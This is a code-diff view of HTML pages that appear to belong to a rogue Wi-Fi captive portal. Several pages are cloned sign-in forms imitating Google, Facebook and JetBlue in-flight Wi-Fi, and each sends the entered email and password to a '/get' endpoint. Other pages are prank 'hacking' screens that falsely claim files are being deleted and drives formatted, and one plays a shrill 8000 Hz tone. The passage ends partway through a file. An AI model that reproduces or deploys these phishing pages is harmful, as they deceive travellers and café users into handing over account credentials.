<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path> <path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g> </g>
<g id="e6m3fd"> <g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path> <path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g> </g>
<g id="vbkDmc"> <g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path> <path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g> </g>
<g id="idEJde"> <g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path> <path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g> </g>
</svg> </svg>
</div> </div>
<form action="/get" id="email-form-step"> <form action="/get" id="email-form-step">
<h4></h4> <h4></h4>
<h1 class="g-h1">Sign in</h1> <h1 class="g-h1">Sign in</h1>
<h3></h3> <h3></h3>
<h2 class="g-h2">Use your Google Account</h2> <h2 class="g-h2">Use your Google Account</h2>
<h6></h6> <h6></h6>
<div class="login-content"> <div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email or phone" required> <input name="email" type="text" class="g-input" placeholder="Email or phone" required>
<input name="password" type="password" class="g-input" placeholder="Enter your password" required> <input name="password" type="password" class="g-input" placeholder="Enter your password" required>
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a> <div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
</div> </div>
<h5></h5> <h5></h5>
<div class="button-container"> <div class="button-container">
<a class="create-account" href="caca.html">Create account</a> <a class="create-account" href="caca.html">Create account</a>
<button class="gbtn-primary" type="submit">Next</button> <button class="gbtn-primary" type="submit">Next</button>
</div> </div>
</div> </div>
</form> </form>
</div> </div>
</div> </div>
</div> </div>
</body> </body>
</html> </html>
View File
+83 -83
View File
@@ -1,83 +1,83 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #f2f2f2; background-color: #f2f2f2;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
height: 100vh; height: 100vh;
margin: 0; margin: 0;
color: #1d2129; color: #1d2129;
} }
.login-container { .login-container {
width: 350px; width: 350px;
background-color: white; background-color: white;
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20); box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
border-radius: 5px; border-radius: 5px;
padding: 10px 20px; padding: 10px 20px;
} }
#logo { #logo {
display: block; display: block;
margin: 0 auto; margin: 0 auto;
margin-bottom: 20px; margin-bottom: 20px;
} }
h1 { h1 {
font-size: 28px; font-size: 28px;
font-weight: normal; font-weight: normal;
margin-bottom: 10px; margin-bottom: 10px;
text-align: center; text-align: center;
} }
h2 { h2 {
font-size: 16px; font-size: 16px;
font-weight: normal; font-weight: normal;
color: #606770; color: #606770;
margin-bottom: 20px; margin-bottom: 20px;
text-align: center; text-align: center;
} }
input[type=text], input[type=password] { input[type=text], input[type=password] {
width: 100%; width: 100%;
padding: 15px; padding: 15px;
margin: 5px 0 10px 0; margin: 5px 0 10px 0;
display: inline-block; display: inline-block;
border: 1px solid #ccc; border: 1px solid #ccc;
box-sizing: border-box; box-sizing: border-box;
border-radius: 5px; border-radius: 5px;
} }
button { button {
background-color: #4267B2; background-color: #4267B2;
color: white; color: white;
padding: 14px 20px; padding: 14px 20px;
margin: 8px 0; margin: 8px 0;
border: none; border: none;
cursor: pointer; cursor: pointer;
width: 100%; width: 100%;
border-radius: 5px; border-radius: 5px;
} }
button:hover { button:hover {
opacity: 0.8; opacity: 0.8;
} }
</style> </style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head> </head>
<body> <body>
<div class="login-container"> <div class="login-container">
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> <svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g> <g>
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path> <path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
</g> </g>
</svg> </svg>
<form action="/get" method="get"> <form action="/get" method="get">
<h1>Sign in</h1> <h1>Sign in</h1>
<h2>Use your Facebook Account</h2> <h2>Use your Facebook Account</h2>
<label for="email"><b>Email</b></label> <label for="email"><b>Email</b></label>
<input type="text" placeholder="Enter Email" name="email" required> <input type="text" placeholder="Enter Email" name="email" required>
<label for="password"><b>Password</b></label> <label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required> <input type="password" placeholder="Enter Password" name="password" required>
<button type="submit">Sign in</button> <button type="submit">Sign in</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+61 -61
View File
@@ -1,61 +1,61 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<style> <style>
* { * {
box-sizing: border-box; box-sizing: border-box;
} }
body { body {
background-color: #000; background-color: #000;
color: #0F0; color: #0F0;
font-family: 'Courier New', Courier, monospace; font-family: 'Courier New', Courier, monospace;
margin: 0; margin: 0;
padding: 0; padding: 0;
overflow: hidden; overflow: hidden;
} }
#terminal { #terminal {
position: absolute; position: absolute;
width: 100%; width: 100%;
height: 100vh; height: 100vh;
padding: 20px; padding: 20px;
white-space: pre-wrap; white-space: pre-wrap;
overflow-wrap: break-word; overflow-wrap: break-word;
animation: type 20s steps(80, end); animation: type 20s steps(80, end);
} }
@keyframes type { @keyframes type {
from {width: 0;} from {width: 0;}
} }
</style> </style>
<title>Hacking Simulation</title> <title>Hacking Simulation</title>
</head> </head>
<body> <body>
<div id="terminal"></div> <div id="terminal"></div>
<script> <script>
const lines = [ const lines = [
'Initiating connection...', 'Initiating connection...',
'Bypassing security protocols...', 'Bypassing security protocols...',
'Accessing system...', 'Accessing system...',
'Disabling antivirus...', 'Disabling antivirus...',
'Initiating data transfer...', 'Initiating data transfer...',
'Deleting files...', 'Deleting files...',
'Formatting drive...', 'Formatting drive...',
'Hacking successful.' 'Hacking successful.'
]; ];
let i = 0; let i = 0;
let txt = ''; let txt = '';
let speed = 100; let speed = 100;
function typeWriter() { function typeWriter() {
if (i < lines.length) { if (i < lines.length) {
txt += lines[i] + "\n"; txt += lines[i] + "\n";
document.getElementById("terminal").innerHTML = txt; document.getElementById("terminal").innerHTML = txt;
i++; i++;
setTimeout(typeWriter, speed); setTimeout(typeWriter, speed);
} }
} }
typeWriter(); typeWriter();
</script> </script>
</body> </body>
</html> </html>
+58 -58
View File
@@ -1,58 +1,58 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<title>Captive Portal</title> <title>Captive Portal</title>
<style> <style>
body { body {
background-color: #000; background-color: #000;
color: #0F0; color: #0F0;
font-family: 'Courier New', Courier, monospace; font-family: 'Courier New', Courier, monospace;
} }
#terminal { #terminal {
white-space: pre; white-space: pre;
overflow: hidden; overflow: hidden;
margin: 0 auto; margin: 0 auto;
padding: 10px; padding: 10px;
} }
#connectBtn { #connectBtn {
display: block; display: block;
position: absolute; position: absolute;
left: 20px; left: 20px;
background: #0F0; background: #0F0;
padding: 10px 20px; padding: 10px 20px;
color: #000; color: #000;
text-decoration: none; text-decoration: none;
margin-top: 20px; margin-top: 20px;
} }
</style> </style>
</head> </head>
<body> <body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a> <a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div> <div id="terminal"></div>
<script> <script>
var content = [ var content = [
"Accessing device...", "Accessing device...",
"Device accessed ✔", "Device accessed ✔",
"Deleting files...", "Deleting files...",
"Files deleted ✔", "Files deleted ✔",
"Formatting device...", "Formatting device...",
"Device formatted ✔. \n\n", "Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞", "(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ", "ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */ /* You should add the rest of your ASCII art here. */
]; ];
function startHack() { function startHack() {
var terminal = document.getElementById('terminal'); var terminal = document.getElementById('terminal');
var counter = 0; var counter = 0;
document.getElementById('connectBtn').style.display = 'none'; document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() { var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n'; terminal.textContent += content[counter++] + '\n';
if (counter === content.length) { if (counter === content.length) {
clearInterval(intervalId); clearInterval(intervalId);
} }
}, 1000); }, 1000);
} }
</script> </script>
</body> </body>
</html> </html>
+71 -71
View File
@@ -1,71 +1,71 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<title>Captive Portal</title> <title>Captive Portal</title>
<style> <style>
body { body {
background-color: #000; background-color: #000;
color: #0F0; color: #0F0;
font-family: 'Courier New', Courier, monospace; font-family: 'Courier New', Courier, monospace;
} }
#terminal { #terminal {
white-space: pre; white-space: pre;
overflow: hidden; overflow: hidden;
margin: 0 auto; margin: 0 auto;
padding: 10px; padding: 10px;
} }
#connectBtn { #connectBtn {
display: block; display: block;
position: absolute; position: absolute;
left: 20px; left: 20px;
background: #0F0; background: #0F0;
padding: 10px 20px; padding: 10px 20px;
color: #000; color: #000;
text-decoration: none; text-decoration: none;
margin-top: 20px; margin-top: 20px;
} }
</style> </style>
</head> </head>
<body> <body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a> <a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div> <div id="terminal"></div>
<script> <script>
var content = [ var content = [
"Accessing device...", "Accessing device...",
"Device accessed ✔", "Device accessed ✔",
"Deleting files...", "Deleting files...",
"Files deleted ✔", "Files deleted ✔",
"Formatting device...", "Formatting device...",
"Device formatted ✔. \n\n", "Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞", "(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ", "ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */ /* You should add the rest of your ASCII art here. */
]; ];
function startHack() { function startHack() {
var terminal = document.getElementById('terminal'); var terminal = document.getElementById('terminal');
var counter = 0; var counter = 0;
document.getElementById('connectBtn').style.display = 'none'; document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() { var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n'; terminal.textContent += content[counter++] + '\n';
if (counter === content.length) { if (counter === content.length) {
clearInterval(intervalId); clearInterval(intervalId);
} }
}, 1000); }, 1000);
// Creating the audio context // Creating the audio context
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var oscillator = audioCtx.createOscillator(); var oscillator = audioCtx.createOscillator();
oscillator.type = 'sine'; oscillator.type = 'sine';
oscillator.frequency.value = 8000; // frequency in Hz oscillator.frequency.value = 8000; // frequency in Hz
oscillator.connect(audioCtx.destination); oscillator.connect(audioCtx.destination);
oscillator.start(); oscillator.start();
// Stop the frequency sound after 1 minute // Stop the frequency sound after 1 minute
setTimeout(function() { setTimeout(function() {
oscillator.stop(); oscillator.stop();
}, 60000); // 60000 milliseconds = 1 minute }, 60000); // 60000 milliseconds = 1 minute
} }
</script> </script>
</body> </body>
</html> </html>
+74 -74
View File
@@ -1,74 +1,74 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
* { * {
box-sizing: border-box; box-sizing: border-box;
margin: 0; margin: 0;
padding: 0; padding: 0;
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
} }
body { body {
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
min-height: 100vh; min-height: 100vh;
background-color: #f1f1f1; background-color: #f1f1f1;
} }
.login-container { .login-container {
background-color: #fff; background-color: #fff;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
} }
#logo { #logo {
display: block; display: block;
margin: 0 auto 20px; margin: 0 auto 20px;
} }
h1, h2 { h1, h2 {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.g-input { .g-input {
display: block; display: block;
width: 100%; width: 100%;
padding: 10px; padding: 10px;
margin-bottom: 10px; margin-bottom: 10px;
border: 1px solid #ddd; border: 1px solid #ddd;
border-radius: 5px; border-radius: 5px;
} }
.gbtn-primary { .gbtn-primary {
display: block; display: block;
width: 100%; width: 100%;
padding: 10px; padding: 10px;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
background-color: #1a73e8; background-color: #1a73e8;
color: #fff; color: #fff;
cursor: pointer; cursor: pointer;
} }
</style> </style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head> </head>
<body> <body>
<div class="login-container"> <div class="login-container">
<form action="/get" id="email-form-step"> <form action="/get" id="email-form-step">
<div id="logo"> <div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g> <g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g> <g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g> <g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g> <g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g> <g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g> <g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
</svg> </svg>
</div> </div>
<h1>Sign in</h1> <h1>Sign in</h1>
<h2>Use your Google Account</h2> <h2>Use your Google Account</h2>
<input name="email" type="text" class="g-input" placeholder="Email" required> <input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required> <input name="password" type="password" class="g-input" placeholder="Password" required>
<button class="gbtn-primary" type="submit">Next</button> <button class="gbtn-primary" type="submit">Next</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+60 -60
View File
@@ -1,60 +1,60 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #003876; background-color: #003876;
margin: 0; margin: 0;
padding: 0; padding: 0;
height: 100vh; height: 100vh;
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
color: white; color: white;
} }
.login-container { .login-container {
background-color: #1A73E8; background-color: #1A73E8;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1); box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
} }
.login-container h1, .login-container h2 { .login-container h1, .login-container h2 {
text-align: center; text-align: center;
} }
.login-container button { .login-container button {
width: 100%; width: 100%;
} }
.form-control { .form-control {
margin-bottom: 10px; margin-bottom: 10px;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="row"> <div class="row">
<div class="col-lg-4 offset-lg-4 login-container"> <div class="col-lg-4 offset-lg-4 login-container">
<div id="logo"> <div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400"> <svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/> <path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
</svg> </svg>
</div> </div>
<form action="/get" id="email-form-step"> <form action="/get" id="email-form-step">
<h1>Welcome aboard!</h1> <h1>Welcome aboard!</h1>
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2> <h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
<div class="form-group"> <div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required> <input name="email" type="text" class="form-control" placeholder="Email" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required> <input name="password" type="password" class="form-control" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="btn btn-primary" type="submit">Sign In</button> <button class="btn btn-primary" type="submit">Sign In</button>
</div> </div>
</form> </form>
</div> </div>
</div> </div>
</div> </div>
</body> </body>
</html> </html>
+139 -139
View File
@@ -1,139 +1,139 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
display: flex; display: flex;
flex-direction: column; flex-direction: column;
justify-content: flex-start; justify-content: flex-start;
align-items: flex-start; align-items: flex-start;
height: 100vh; height: 100vh;
background: #000; background: #000;
color: #0f0; color: #0f0;
font-family: 'Courier New', Courier, monospace; font-family: 'Courier New', Courier, monospace;
padding: 20px; padding: 20px;
padding-top: 20%; padding-top: 20%;
box-sizing: border-box; box-sizing: border-box;
overflow: hidden; overflow: hidden;
position: relative; position: relative;
} }
.form-container { .form-container {
width: 300px; /* You can adjust this value to match your preference */ width: 300px; /* You can adjust this value to match your preference */
} }
#matrix { #matrix {
